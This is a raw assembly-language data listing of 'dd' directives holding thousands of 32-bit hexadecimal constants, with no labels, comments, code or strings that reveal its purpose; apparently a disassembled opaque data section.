dd 1D456E0Eh, 231644C5h, 85650EFh, 5140C68h, 1851EE9h
dd 2E10DC32h, 92C1EC0Fh, 841C1FBBh, 0F774EBC0h, 0A10DD8h
dd 356A1D16h, 450B2E67h, 2AC02502h, 0D5F73C79h, 3D6B36E8h
dd 2742894Ch, 61688EADh, 12234727h, 0F5AD273Ah, 3E3CB1A8h
dd 0B788A6E0h, 85DA42Ah, 762C70F3h, 575D1932h, 148248DCh
dd 4252447Bh, 13C8C1A4h, 482F032Fh, 5C272E1Ch, 663E0115h
dd 68CCE1F7h, 0FF6D4EA7h, 41960D61h, 806F207h, 652FB3A2h
dd 0E0BD115Eh, 0FE17DA62h, 0BB53034Dh, 22475F8Eh, 6408EBF9h
dd 0D361F7E5h, 0B73EE911h, 0D4EDAB50h, 0DE51320h, 4A88EA5Bh
dd 0BC759734h, 0E8DBB5A4h, 70BBF61Eh, 11271A90h, 24F245BCh
dd 8C50142Bh, 5460F902h, 0DE754D09h, 0F0DA47BAh, 0F5877A2Eh
dd 8D8D6F8h, 2F10ACD8h, 4003E640h, 1A818EBDh, 0A8887B57h
dd 4E8D2768h, 0FBCE2918h, 1848B980h, 78026E61h, 0E609DAF5h
dd 0E23FE920h, 31F3C714h, 7AC4E915h, 0CD80AA03h, 1FC5999Eh
dd 213E1761h, 2F8CDF95h, 83808DDDh, 0E03AF9BFh, 7D4EE90Dh
dd 0C8D10DC2h, 27EFA4B7h, 8C54D4CBh, 0F1232913h, 0ACB0B5E9h
dd 0FADD6901h, 0F4A5A65Eh, 22E9C1C6h, 0B5E76B6Fh, 0F55D324Fh
dd 0D16E887Dh, 0D81969CFh, 6859099Fh, 70984FCAh, 0B7075350h
dd 80CFFE30h, 0E732A927h, 167F670h, 0F8884AEFh, 7DC5CD5Bh
dd 1C0C8571h, 54F62447h, 4B6201E6h, 0CB26A861h, 70F50950h
dd 102D00CDh, 29BD0172h, 0CE9658C5h, 3088FB0Ch, 95F5905Ch
dd 9B68B4E8h, 49CC2D4Ah, 88F3407Eh, 57FAD15Eh, 9740F20Ah
dd 9C0E3A35h, 3DEA1779h, 0F26760EFh, 734A666Bh, 2D68051Eh
dd 4D7B613h, 6C36E956h, 428CBD01h, 5C75CAA7h, 0E0551276h
dd 0BF7257D2h, 35B37103h, 92FB8953h, 808071DEh, 0D5CE815Fh
dd 4F2F917Bh, 78B3D857h, 7FB304D3h, 0F34520E9h, 0E1C010C6h
dd 80B00E7Fh, 0C36901EBh, 0F980155h, 0F03ADAF6h, 0AA01C2B1h
dd 885AD328h, 63E65BDEh, 0E9CEF047h, 0E734EB09h, 4FCEBAC7h
dd 567F0F1Fh, 0B8D0C9BDh, 535C8C18h, 9363D99Dh, 5C29BB55h
dd 0A4A5F492h, 4B9FC16Fh, 0A264DA24h, 0DFCA31E9h, 43922102h
dd 0BC0800FEh, 9FE3D93h, 4F143DF9h, 302D9FC0h, 7217E92Fh
dd 0D6891260h, 64C1F0CCh, 0F137EE60h, 1F88331Ah, 76C80156h
dd 0FE0C6CAAh, 8D4F6CCh, 0C2C43080h, 0E130CD06h, 0F2FCB898h
dd 45C15EB7h, 0A093FEA2h, 2D242BA1h, 27726D1h, 11B94F4Ah
dd 7FE74BC0h, 893C5812h, 90EF3113h, 862EE9EAh, 5F5458C4h
dd 0B8DF469Ch, 0E0BE4D64h, 0BD187913h, 4FB81BEh, 0E9017C0Ch
dd 24176AD4h, 0EB5938AAh, 8C6DAE0Bh, 2BDEA40h, 7F6C50E1h
dd 683020C6h, 7789D54Eh, 29535E5Eh, 6F601ECh, 52AF05BBh
dd 2322BA35h, 0A9864BB4h, 0A873E59h, 0D5C0095Ch, 0E315B1EFh
dd 0C7F37A1Ah, 0C94FCB1Fh, 0EB934267h, 7932EE56h, 3CF24088h
dd 17019A53h, 0EAC02B91h, 5B6A3445h, 36500FF7h, 9281353h
dd 0B186016Dh, 2F92F6D7h, 0B82E03E1h, 0F0ABE4EDh, 2E86EBA5h
dd 83A68228h, 138E6D81h, 6702F7A0h, 0BA239624h, 1877B902h
dd 0CD81FF54h, 6B8FE4E9h, 0CB5AAB8Ah, 25E912C7h, 0F2FE5E82h
dd 3DBF2042h, 0F28252BDh, 41684F4Dh, 62119346h, 1CBB2A1Ch
dd 570FC223h, 4A7D6132h, 0D20808A9h, 3E4B3617h, 0EB0FF53h
dd 502D6EBAh, 7E82833Fh, 511BB155h, 7CF587DEh, 611A63D2h
dd 744F383h, 7F94CBFFh, 11193E14h, 8A683F9Dh, 152DDB63h
dd 516EF50h, 2958AC02h, 8D510CFh, 13735924h, 64C71668h
dd 50270ECAh, 0B267EC1h, 0EC862B62h, 0B52D006h, 5910D542h
dd 0C0BA01C6h, 3142B61Ah, 0FBB5A828h, 5EE9593Ch, 9D70FB37h
dd 0B9489768h, 840A40Fh, 801D55BBh, 8F584C8Eh, 0D9F606C1h
dd 279B7B0Ah, 0C2F1EFABh, 0E1A0A87h, 7231638h, 704E478Eh
dd 997EDBEEh, 73123F4Ah, 531A8804h, 86032D00h, 0F4F4D27Dh
dd 0BF4BE79Ah, 408217FEh, 856538FFh, 7C5F0111h, 0C4181E3h
dd 57C6FD21h, 296453FCh, 0DAE2F684h, 0ABE5D184h, 71C74904h
dd 3163B6AEh, 46C6FC58h, 867D0105h, 0E77A402Ah, 4DF681D0h
dd 32BA231Ah, 0BB1B45CCh, 479FC302h, 83C112D1h, 44127E42h
dd 0E9F083ECh, 0BBC6DB39h, 2F157E46h, 149831E3h, 5D81AF02h
dd 56D2A472h, 0E1E811A8h, 0CDEC6F70h, 0BBA72645h, 0FA4FE38Ah
dd 1F528635h, 99A9EAFh, 0F298B7E9h, 2BF409A4h, 5A772170h
dd 7AAFA1A4h, 4BCF9530h, 1DCBAF59h, 9A829955h, 67F7191Ch
dd 701BF4Ah, 665D99E9h, 0A3116E8h, 9D5869A7h, 0A32A3C12h
dd 61F82788h, 0B26E05E7h, 99631791h, 0F57CCCCh, 60412768h
dd 82295F04h, 6CD70825h, 0B917D0DCh, 97278A25h, 0A29272DFh
dd 5BAE5655h, 7E6546F1h, 3785A5F8h, 7188BF64h, 27D97AC0h
dd 6D74AFFAh, 0CC412F62h, 5FC3F262h, 7F25FECBh, 50C107FEh
dd 4C91BF6Fh, 1942009Bh, 0CB81103Ah, 0A131252h, 0D2341D39h
dd 54594BF6h, 173D680Fh
dd 2205C9BCh, 0F1AD10B4h, 0C70F9C4Ch, 158B199Ah, 683768DFh
dd 975D7070h, 6640327Fh, 5EF012D7h, 0E9153805h, 0BC84874Bh
dd 0A0EF32C8h, 822701D7h, 0A8F361h, 17EDC981h, 0E361234h
dd 0D1CC1055h, 965F0F22h, 0B8F4041h, 0C13E0211h, 42FE09E7h
dd 59682194h, 98B512C8h, 1A534095h, 0FE457191h, 7CB5077h
dd 8719E3B9h, 546EA27Bh, 3360A87Eh, 0FA0E501Bh, 16269E9Bh
dd 1FE109FEh, 53B4F1F0h, 0E1FA89C9h, 7FD85BD2h, 819B72Dh
dd 3912C52h, 18284EECh, 7C24059h, 0C21C4FE9h, 6DDD6628h
dd 65ED1FC8h, 0A42F01CCh, 0D8115DFBh, 2A0ECCBAh, 0A3F04C4Eh
dd 3D9FA149h, 2C521EE8h, 5A4CC831h, 2CDA1B80h, 0AFB02A44h
dd 2E2B9F01h, 0D8F7951Ah, 413D54CEh, 0C096B551h, 666459EEh
dd 0E905ED0Eh, 0D1C2A0B1h, 0E535E802h, 633EC7B7h, 0B34D8824h
dd 0F2810272h, 54DE25DCh, 3B490DC1h, 0CA8F0DF2h, 0FFC153ABh
dd 0D3EC7A66h, 452CABB4h, 0AB56121Bh, 5B20BA26h, 0FE090C8Ch
dd 2A7E904Bh, 80CC799Fh, 0FA227A8h, 0E801DCB6h, 0E42088C9h
dd 0F675EF80h, 0BAC0D73Ah, 1FDFBD07h, 0C74C7BE7h, 5A00645h
dd 285BFD88h, 450EBBEFh, 0E9A141EBh, 0A432BBD8h, 16815A77h
dd 493F0BD2h, 3132C5F8h, 0DD9CDED8h, 5EF13123h, 5F608020h
dd 5B45B9BDh, 921F9884h, 613341A0h, 5900D2A9h, 15BDA08h
dd 2CF7F280h, 20D02821h, 5F82407Dh, 0B5971876h, 7C7B47EEh
dd 0F81D0871h, 5D8573D3h, 0EE05FDA3h, 0BAF034E8h, 90BF3885h
dd 0E9D601E7h, 0F9930C27h, 47C9CFBDh, 70A48258h, 0F4109C0Bh
dd 0BC3511Bh, 98464785h, 5645FEB7h, 0DF8F682Dh, 19BE6A90h
dd 0E9CC0D28h, 8065997h, 6804759Ch, 5FF35730h, 8970EE2Dh
dd 2C18312h, 0D2C41EB2h, 21F7981Bh, 5D6D3A04h, 0FDBE4C31h
dd 5ABD97F7h, 0EA741185h, 0C1482A40h, 32D02E8h, 46CA6585h
dd 805BC631h, 0A83A73E5h, 0A3FAB546h, 30C2458h, 20B452A7h
dd 0FE3F2CCFh, 4D2AB0CCh, 3FA8EB81h, 1CDA6D69h, 1908A8F9h
dd 26C861E9h, 41E47F2Dh, 5D305389h, 9926632Eh, 205B7829h
dd 0D9B00799h, 93470B13h, 4020A8F8h, 5B45F4Bh, 0D3761402h
dd 1520E661h, 0D2ED8101h, 1B067EBh, 0E913714Bh, 0FBA856ACh
dd 41D26A88h, 4F1C7C37h, 0B5788D8h, 0A629F5BFh, 92E7E183h
dd 0CA87A0B5h, 0EC647D45h, 0D73C1FF5h, 52F9561Ah, 0BAB100EDh
dd 3097D86h, 1FCA8104h, 80B88A4Ah, 756DE501h, 3F57E93Fh
dd 0B2BA3E13h, 9F83CC5Ch, 6E48722Ch, 8B541E12h, 4F4B0E10h
dd 1489B9A3h, 7AB855B8h, 62805800h, 99016CBAh, 3BD49FD4h
dd 534CE200h, 2C6840E3h, 0C0523B26h, 2D357DD5h, 79F1314Bh
dd 1273DF6Ah, 0E3BB8DD4h, 0E6809F0h, 5B9C197Fh, 4C9F9420h
dd 688E434Bh, 8FB06E2Bh, 48072B4h, 0F202E4AFh, 240BA0Dh
dd 2882EE80h, 0DED85AF0h, 2A509C48h, 8013872Ah, 4E08DAF5h
dd 68910248h, 2FAA47D9h, 6E7C2FD6h, 72782D71h, 36765F25h
dd 40585609h, 0DD36C0FEh, 0BBB5B7Eh, 7571B2FFh, 2D668068h
dd 1D640A3Ah, 5D9D029h, 68F05A0Eh, 0E93E093Ah, 59578BF4h
dd 43E9E146h, 28B7B6Bh, 0AAEB4F76h, 3420C08Bh, 0DF515E27h
dd 0ABC5E3Eh, 407BB880h, 13256E1Fh, 0D5304Bh, 0E905E017h
dd 33AB3CBEh, 7E54EDC1h, 0B7EEB252h, 0D9E9C47Dh, 53017EACh
dd 0CB8077B3h, 0DF069FB5h, 1C51168Dh, 392D5020h, 3813E361h
dd 50E8B601h, 7C01638Ch, 0CE2119E4h, 69534AE9h, 7A9F1F0h
dd 974D46Eh, 1EF55B08h, 26E9162Dh, 0E7D7FEDFh, 7DA0A884h
dd 0E219729h, 20EFC101h, 5E0BF7EFh, 0D8E1F34Bh, 2C3FFBA7h
dd 0E65DE99Eh, 0C15905BDh, 91A806EEh, 0A1206548h, 0D05A70EDh
dd 4BEF1A39h, 502AEA8h, 794D11C7h, 8257A861h, 0E0029322h
dd 19505F69h, 0E64EF025h, 0BE45B0AAh, 2E5C59BBh, 0EFDE34FBh
dd 217E2199h, 43E67A3h, 79D193FEh, 7A7C39Bh, 99EB87D3h
dd 56C16202h, 32DFC449h, 803018FEh, 0EEABB614h, 0E4765F1Ah
dd 5898C255h, 888004E7h, 28BD3362h, 5DE4718h, 736C320Ch
dd 0F5D00141h, 704AA07Ch, 4F05C4F8h, 0C6E92F4Ch, 0FB7146F1h
dd 0D320A92Fh, 81F2FC16h, 550060D5h, 8D026C68h, 74DE5D05h
dd 5D310F32h, 6CA4B9DCh, 0D1AC5B2Bh, 9A594C5Ah, 0F68103CCh
dd 5B2C0D52h, 714E860Bh, 58C98410h, 0F34B8CF8h, 3368846Fh
dd 5311CCBBh, 725BC4F2h, 40B05B8Ch, 4CB7BF37h, 5F083F96h
dd 0F8D5B192h, 52BF964Ah, 6EA3BAA0h, 0F24BCF16h, 0A6573C58h
dd 509A7982h, 0C92AF739h, 3BC7107Bh, 92809BFh, 58F05553h
dd 0AD63CF38h, 2817813h, 4C3B5CECh, 71D8F989h, 7705AA0Fh
dd 25F3E01Dh, 0F962D732h, 978AD830h, 0E4C6748Bh, 0B3DF6097h
dd 20502460h, 0BCCF131Ch, 8C99CA04h, 4A4378ADh, 56FDF05Ah
dd 4C94BE04h, 3AA16B3Ah, 5E1A56Eh, 517D2C0Bh, 6E23E916h
dd 9BE01489h, 7F5D924Eh, 0D36D2FEBh, 0D8490DDAh, 0C0C33A72h
dd 687E40F9h, 9607CD1Dh, 7FC45E1Bh, 54402704h, 126339FEh
dd 29682558h, 2F8F6140h, 7F21C925h, 8BB00768h, 0CC8FE1Ch
dd 53D0F681h, 0E06ED5B7h, 0C11C8080h, 0E9CF284Ch, 99FBF2B8h
dd 6AFD2E9Bh, 9BAAE9C2h, 25DBA0D7h, 383C6C73h, 90C84B5Bh
dd 754FD007h, 0CA563943h, 9083C780h, 58315B5Dh, 0DA3157FBh
dd 2B5AD10Ch, 68CD44AEh, 2A3DE171h, 0EBB45FB9h, 9352E6CBh
dd 79679704h, 51BC8012h, 5917CA4Dh, 0C85227E9h, 1C0B5B04h
dd 0FCD15C0Dh, 0A09F8890h, 20BC3E5h, 1EC2FC7h, 98E994A1h
dd 75F979B2h, 47966A1Eh, 45CE60CBh, 33B809F3h, 3D629E74h
dd 0B50EC1Ah, 27515BF9h, 0DCA0BE50h, 3D3037ADh, 1B2A0C14h
dd 45B2A09Eh, 27A29B4Ah, 5F825822h, 28546801h, 0D9DA756Ch
dd 2C021BDCh, 552A862Fh, 0EB68EE40h, 0B166653h, 5FD93A50h
dd 4C333A02h, 638B5AA9h, 79428562h, 0E978BC54h, 61A24851h
dd 0FC1C658Eh, 0DDB38FBh, 28EB4Fh, 0AFEF5A83h, 0F6328629h
dd 0B567E84Fh, 0E9C7F6E2h, 6AA9FB80h, 3B26E7AFh, 5DFEC30Ah
dd 0F18440BFh, 8484827Dh, 3FB20032h, 1FA3B652h, 4D8DC680h
dd 20AF15C4h, 809664D4h, 1F386167h, 4AFBFB46h, 0C0E1B827h
dd 52BBB450h, 281201B2h, 88515AD4h, 33FB78E5h, 0EBD66858h
dd 0D2C0EBF3h, 8D2EE108h, 2FDCF320h, 9BD8AD04h, 3BE22C5Dh
dd 0C6B71250h, 0DDC631BBh, 8ECC7B31h, 0D3056232h, 0E2D62176h
dd 65B78EB0h, 4EF87828h, 7266045Bh, 0F1210A36h, 166AC308h
dd 61DC0952h, 3CC5Fh, 865F0ABBh, 10E95631h, 62CF9DABh
dd 2556975Dh, 0EA17DE82h, 4BD87451h, 13196879h, 0DD38649Bh
dd 5485E25h, 0D7A9AA7Ah, 34287A51h, 1E7B6F78h, 0AA0F1240h
dd 0ED27C163h, 0E5FBE003h, 0E4E92D06h, 0E8F30368h, 2C256F07h
dd 0EBDEDD01h, 7C46D7F6h, 4BE95454h, 148E790h, 2565C18Ah
dd 816A1FE9h, 0E473CEEAh, 0D1161950h, 0A71F4EE6h, 255238C6h
dd 0CE0F120Ch, 30AF816h, 13C60B02h, 0C3102129h, 0DB00CB24h
dd 2E21B850h, 0E81D5A8Eh, 1CD110F8h, 9EC6800h, 0F75807B9h
dd 7E25D000h, 0E92D3373h, 0A8CC4E65h, 550B9E94h, 0F9E7F55Eh
dd 0B30D888h, 0EEFE05ADh, 2E4B6884h, 90DE85ECh, 10D15238h
dd 4050F26Ch, 0F7682A05h, 391295BCh, 0C7CAC6E5h, 0C5167DAFh
dd 5F8F99B7h, 0A2A9FD3Eh, 0AF9775Ch, 0C461D66Bh, 8B86F8C7h
dd 49085C55h, 0F8AABE05h, 83815EB3h, 0F6452468h, 41A9F7AEh
dd 2AE80F7h, 0FCE6814Ch
dd 0A09D4B1Fh, 5504B172h, 0F3013DE1h, 0D711E2AFh, 0E67E51AAh
dd 0F4D4EE13h, 6E5804F9h, 39A186E7h, 616F9C18h, 2EDA685Bh
dd 0EDD325ABh, 0E401B346h, 0E909AFFDh, 0ECAFDEE7h, 0AC6B7E8Ah
dd 0ACF8196h, 0A05F60DBh, 0DB507DCh, 0B2F336EAh, 5887A255h
dd 0F76A425Bh, 5AA8A54Bh, 245FD56Eh, 2D7A9E8h, 7DC365E9h
dd 2A73B443h, 3A3B7B0Bh, 0BDEB7A14h, 9CE6B010h, 827F5981h
dd 0FE77586Bh, 38CC7949h, 0D405021Eh, 0D73C5FEAh, 38C53841h
dd 515225ACh, 0D821589Ch, 80F5397h, 28021F68h, 0F63604F0h
dd 2693C3CDh, 3DEB4D04h, 6D87EEBBh, 0B5495FCBh, 3E8030D9h
dd 0F16A3641h, 0F006A413h, 56AC7A09h, 4873C024h, 39800D6Ch
dd 0A06E7770h, 4F3861A7h, 3BD8ACFBh, 0E9825044h, 7FD7C825h
dd 9C3E2EC5h, 0D72579ECh, 2A01C619h, 68A368BCh, 21FE0BD6h
dd 58507664h, 5FE8AFC4h, 3A96EAD3h, 33B0AA6h, 40F7497Dh
dd 0D838C4C6h, 22BD295Bh, 1803022Eh, 6F691C08h, 8C0FC428h
dd 0BB7D9E05h, 84BB290Ch, 0A9081A5Dh, 56CA541h, 45FDA5FEh
dd 16CDBC32h, 7E097B04h, 0F416D7D9h, 4B3B1438h, 0E9073CBAh
dd 0FFC5D213h, 98B5F3BAh, 0B0535133h, 81059564h, 0B6B28088h
dd 0E6252867h, 2469F058h, 316A80C6h, 9E53660Eh, 0C28F2E94h
dd 0E9DA4167h, 31265B84h, 18E6882h, 0F297E479h, 0A6BAC385h
dd 65BD4B58h, 0BEA6AFF5h, 0DD01FB4Eh, 16E9D701h, 0FE1BD928h
dd 77C904C8h, 16713232h, 0E2DD09F9h, 12F0CF3Eh, 71A44E5Ch
dd 8559523h, 0BD249786h, 1C45B554h, 0F67F3B8Bh, 7B5C7163h
dd 430039ADh, 55C7CB81h, 82A04F47h, 0AD2DBFBCh, 25EAD84Ah
dd 135468FBh, 0E1AAC2C5h, 7AD66042h, 65160583h, 0FE18A526h
dd 0B850CF60h, 0EA5A8402h, 0E90B91FDh, 26A9E8AAh, 0DF282456h
dd 80F9C220h, 1763D5B9h, 0A00130CDh, 8990FD72h, 0AD514D26h
dd 0E302D628h, 0E912DE3Eh, 3561DE09h, 0FB8A174Ch, 0D7D28DC7h
dd 82A2D748h, 0C45790B1h, 0DF885038h, 0EF624A82h, 0AA4F0C8Ah
dd 1930B91Eh, 6B712E10h, 8B7CDF72h, 90F97F49h, 35B85CC4h
dd 311968C6h, 608CE925h, 76BBBEh, 0BF56932Bh, 42C90AFFh
dd 26CF8100h, 0F77F746Ah, 0F604D8D7h, 29F63F87h, 931F0E9Dh
dd 416D8FC8h, 5AD6F8D0h, 0CE0575B8h, 703B1B91h, 2BC4FD1Fh
dd 74C04473h, 16D472E2h, 0A84EE94Fh, 28B35FFCh, 185EA4D3h
dd 49743144h, 0D485A634h, 0C9EA4075h, 439002E2h, 72ED494Eh
dd 0C7454006h, 0A5090C4Ah, 0FDB13442h, 0AC8D7BCBh, 245726C9h
dd 58AD066Fh, 268F692h, 69D02289h, 845F215Fh, 0B2A87726h
dd 7B354001h, 6A41830Ah, 41D347F4h, 0A6B8470Bh, 512CB323h
dd 6BB547h, 170BB3A9h, 835A120Eh, 0CA6A03EAh, 84CD1F7h
dd 2F890499h, 30344A0h, 81914095h, 2C2720F5h, 43FFC05Bh
dd 52F0886Bh, 0D7AAC29Bh, 0BC136182h, 80D90400h, 0B81170EBh
dd 69612033h, 515F93A0h, 0C49B933h, 3A83E182h, 994EC730h
dd 621102FAh, 604909E5h, 4E523FE1h, 0C1E680FBh, 2C485908h
dd 577A0616h, 2EDE7F6Fh, 0C0985FECh, 3A12C99h, 7E887AF1h
dd 708CC4Ah, 2712CC68h, 99801DFEh, 24DFE9F6h, 25D397DAh
dd 1E106D7h, 6F122584h, 0FEF24A57h, 0F47B2795h, 7051863Ch
dd 7D8594Eh, 53337E02h, 0C16A6C01h, 70B44C2Dh, 0CE1E5E8Bh
dd 85564B73h, 6900CAE7h, 4D62C260h, 504CC7E9h, 6056A2F7h
dd 9247F16h, 83E930F6h, 53FA9CC2h, 19493298h, 7D004B8h
dd 2FB15547h, 19A40D61h, 0A7194C50h, 25C18340h, 88FE07E1h
dd 931F7B58h, 2FC00B86h, 1173EFA2h, 0A42BE18h, 21297151h
dd 0E28102C2h, 84D52F3Eh, 12EA2D43h, 87F3FF8Fh, 671BE983h
dd 3BE1F105h, 52C0BB4Ch, 25284BC9h, 80FD3674h, 301AE937h
dd 3A277F92h, 7102C8F1h, 59CF31CBh, 5E2E161h, 967EB5FEh
dd 2DBE5BF9h, 0A78C2BC4h, 388D0EEEh, 0C62F0173h, 7F08A81Ch
dd 0FAB45BE9h, 51787130h, 257D4Ch, 871E48C5h, 0FEA0E905h
dd 7BE28D3h, 0A6E0D1B9h, 879D8328h, 0DC925050h, 96D580h
dd 0E04ACBFAh, 5ACE22BFh, 0BA6BC084h, 5F38A18Ch, 500B3DAh
dd 4321361Eh, 67F73E87h, 5B912734h, 4920EB29h, 0D3411F6Bh
dd 0BD87CB31h, 0B94ECAC6h, 0EC3B50A1h, 416EE6BCh, 1BC23ECEh
dd 467DA06h, 6ECB2AC7h, 0FFACFA18h, 0C9AED02h, 56756A6Bh
dd 0E911B146h, 4ADA3CBEh, 134ECAFAh, 0AA94BADh, 0BA12EE96h
dd 10EDB920h, 3B7E2515h, 8913FEDCh, 36DD3304h, 42FF0509h
dd 5DB389E5h, 0AE8962EFh, 84ADA941h, 95037BCAh, 601D5F7h
dd 0D34635D0h, 0C29DE755h, 537D3FCh, 0EA44BAB5h, 60D1ECCh
dd 91DB03Fh, 2D5A56CDh, 6037838Ch, 26E37D24h, 2131073h
dd 29A69C68h, 55CD1772h, 12AFA8E0h, 77FB68B8h, 0A079B519h
dd 6906642h, 48401727h, 6F61BA89h, 20816444h, 201C577Ch
dd 32185089h, 8182693h, 2E70F4C5h, 0EA55CB01h, 3CE2411h
dd 72B20C38h, 886D3A3Ch, 39C1155Dh, 7CE5693Ch, 4FF5A2BEh
dd 0B567E881h, 1DBA889Ch, 0B33C946Dh, 0A120BE04h, 65AAC02Bh
dd 3248A679h, 57CD1078h, 29B2D50h, 68218B0Bh, 1F6C0971h
dd 0FE17250Fh, 0A7647A11h, 0C2608137h, 0C63A4D3Fh, 144F0712h
dd 0CA48E478h, 84D710B9h, 1821D740h, 0C69093Dh, 940B7472h
dd 0C016E9A8h, 5AB1512Ah, 974EE078h, 0FD8012E1h, 2DB6C080h
dd 0C0F2F120h, 1208E134h, 605EA105h, 1A0787FDh, 0B22BA942h
dd 866E36Eh, 4B5863F0h, 45AA84CAh, 4D575AFh, 0EAFFB809h
dd 18273A8h, 1E4156C3h, 85BE05EDh, 0F6E0BA91h, 6C9A04FDh
dd 0BEF1E91Ah, 0E7BE2852h, 455B12DAh, 0C1C5C8FFh, 7D7C51F0h
dd 7245629Dh, 0D85A5F6Dh, 0F52568C1h, 0A2C49948h, 94F0F83Eh
dd 0C1C613C1h, 7383BE6h, 34FD97F0h, 0C30D7ED5h, 0C811C3FDh
dd 0DF01B088h, 51698C9Eh, 386D085Bh, 54D8BB02h, 92E0608Ch
dd 828A944Eh, 439369EFh, 26B97BF7h, 32C20054h, 4A45156Bh
dd 4A2D50B7h, 8B8E822Ch, 711CFC57h, 28666858h, 1B2A9E28h
dd 6BA0704Eh, 5795F99Bh, 705671Ch, 57FBCE5h, 53C1D1EBh
dd 0D7F47ABBh, 0E9D80929h, 5B578F19h, 0E162965Eh, 27D70256h
dd 5797EF6Ch, 0B899F2B6h, 8F85572Fh, 5846015Ch, 0F835AB11h
dd 8BA9B041h, 54F600EEh, 206A2F3Fh, 0E9A922FFh, 2F5DD4CCh
dd 0BC1C1EFDh, 0C168C141h, 1E516321h, 7AB85650h, 0D7E03EFDh
dd 30C9D8CCh, 0EF5C875Fh, 3D2D1659h, 0BAE47CECh, 5A36CD80h
dd 0E9161A14h, 0E400B93Bh, 0F4017483h, 7ED08925h, 481C027Ch
dd 68411F59h, 7077E4B7h, 0A045E925h, 612EC5F1h, 0F7361290h
dd 0EBBA04DDh, 3BDBB8Ah, 0BD055493h, 0D74068C4h, 2F9CA2A6h
dd 68A71C7Eh, 974401F9h, 0E986ABD3h, 4A777771h, 60B4A5C6h
dd 11183216h, 8318758Eh, 3E582E2Bh, 0F6D415BFh, 7E266510h
dd 0A2BDC050h, 48D63F17h, 7774B909h, 2E0B5710h, 5F7D38E0h
dd 0C7D8982Ch, 3DE5D52h, 9E553B46h, 2FD27B7h, 0FA6C7362h
dd 0B6F14CFAh, 927411Fh, 0A5106AB6h, 790B361Ch, 80D2F706h
dd 740EAECCh, 0A00BD3Bh, 1D7F258Ah, 0C2EDE927h, 8F94F733h
dd 706342BDh, 30B23BE4h, 0C98905ADh, 98C94375h, 48652A25h
dd 0CE188D75h, 68E9122Fh, 0EFF2604Eh, 0B481944Fh, 0E4B2972Dh
dd 70D0B625h, 0C5564A40h, 0ABA2FBB7h, 0E010F83Eh, 0C8D75F97h
dd 0F9C52567h, 0D71D9282h, 0E49CF691h, 0F5A85DB4h, 4E9725A1h
dd 0F8534F94h, 31694E98h
dd 2A21803Ah, 414B8268h, 9A76278Ch, 0D5F60112h, 0CD80C5FEh
dd 3AF5CC90h, 0A0B4501Eh, 9FD9C44Fh, 0E502BC9Ch, 0FD2760E9h
dd 0F61732D9h, 7CCB1204h, 25C5510Eh, 54A890CDh, 2940EC01h
dd 13FE02B0h, 0ABBCE9D6h, 6EEA624Bh, 54F0B522h, 56FC51DAh
dd 28416086h, 0AE97507Dh, 25149391h, 94DCD379h, 179DA211h
dd 9682AD25h, 2C8E6E4Ah, 0C797F81Ch, 0A0EE1609h, 0FA23DF30h
dd 513F9809h, 840072Dh, 27D97EE7h, 0A358D160h, 136BC026h
dd 1210E381h, 3B6015F1h, 5E43659Dh, 0AC43C1FEh, 0FFB36E1Dh
dd 72F2EFD2h, 0A8B0E9C4h, 65B11D17h, 271B90C8h, 0D102225Eh
dd 61612447h, 0DA5D595h, 5A203CF0h, 86AD62C2h, 0B8A29565h
dd 875934DEh, 2585388h, 972AB7BEh, 8B09E055h, 3A07300Dh
dd 0AD28C558h, 0C9204B98h, 5D0995DBh, 43EFA0D5h, 0A2925886h
dd 3EA70592h, 0A74D3A8Bh, 2714F711h, 0F0F55EDh, 0EA4A0F65h
dd 0E87FC7E5h, 8B2F256Eh, 62CFD7B0h, 0E9D268AFh, 0DE9AB5D5h
dd 4802898Bh, 0B600E448h, 0B0F088CBh, 9E282AFDh, 152A2588h
dd 0DE2DB066h, 54AC5C9Ch, 632D76B7h, 0DBE76859h, 7810311Bh
dd 21142D3Ah, 874BFDCAh, 437DA9CCh, 1342196h, 40BABF96h
dd 1BDB2DC5h, 5007DA8h, 221762AAh, 0BDEA8DE9h, 0EF67ECF4h
dd 0CAD2FA57h, 0B71477ECh, 0B5515305h, 0BDC5E9A3h, 0A93C66BDh
dd 0F1849F74h, 0C7D68157h, 52C93E75h, 56EE4DFDh, 9A4A060h
dd 0E33055B4h, 2052A80Dh, 0C50EED09h, 0C7E8B652h, 0EE935CCEh
dd 4FF8D20h, 0FE299559h, 0EB3A0D9Dh, 25E96738h, 3E1057A3h
dd 2814ECBFh, 10A23E60h, 5F25A872h, 780C1002h, 0B7F10ECBh
dd 0AAFDFBCAh, 2DBFD265h, 8A0970E9h, 0EC52CB40h, 9175D3E8h
dd 6D7105FEh, 84407EEh, 0BBBF61F8h, 7862D163h, 0C7203DD5h
dd 0F4A6A831h, 98CCE684h, 8DE02F2Eh, 0C2B09A14h, 46C6EB27h
dd 22C12409h, 0E4D79277h, 212D5C92h, 83E719F9h, 0D8950706h
dd 5EC595ADh, 74686D8Bh, 0A3FC69C6h, 56456ADh, 0BC42E958h
dd 0FDBB0004h, 214C4107h, 5B6BCBDAh, 12DEC104h, 0FD1D01EAh
dd 0F383727Bh, 4C81D849h, 2DA00760h, 73AC829h, 9B885A3Ch
dd 0D3DD6BB3h, 29BC0275h, 78295F6Dh, 5DF49500h, 520E0E02h
dd 47A36855h, 83AB6B25h, 59E74B1h, 140E8369h, 1484AF4Fh
dd 9550710h, 22FE6853h, 0DD12E95Bh, 3502BFC4h, 0F73E9924h
dd 0C35260D6h, 0B78AAC20h, 2F896456h, 501A55ADh, 3DF50752h
dd 40DD80A1h, 20547D9h, 0EAAE2CEEh, 0E0F7C121h, 2E6D9229h
dd 20F31E3h, 3F7B5C12h, 21B2B055h, 0CFD804A0h, 0EE446BE9h
dd 55601B28h, 0C04143D3h, 3325E72Ah, 6F11F9FBh, 0A45AC73Fh
dd 8F12166Ch, 0C4AE4516h, 0B59F8419h, 8BB972E4h, 2250E051h
dd 2D0100DCh, 7E8C3F93h, 81CE8C1h, 8B715E68h, 0BE045B35h
dd 3FF04504h, 76A02985h, 94504804h, 13CECB10h, 0CBAA595Fh
dd 0AF680C68h, 97055341h, 0EF5C3D84h, 68E2F6BCh, 0C4E89D70h
dd 857E774Dh, 0F4E059DAh, 41354E10h, 0C449A251h, 8BF4813Ah
dd 31E9DF92h, 2F6A5DC9h, 9086955h, 0BD6A20F8h, 2371EE0h
dd 2926B861h, 70F7DFA3h, 31E12705h, 956FDCDBh, 20744C68h
dd 2E6806B0h, 9648DB06h, 341BF4Bh, 25566D74h, 0B951A440h
dd 0DC3D18ABh, 535CB215h, 5577720h, 63A65F6Dh, 9AC6BF41h
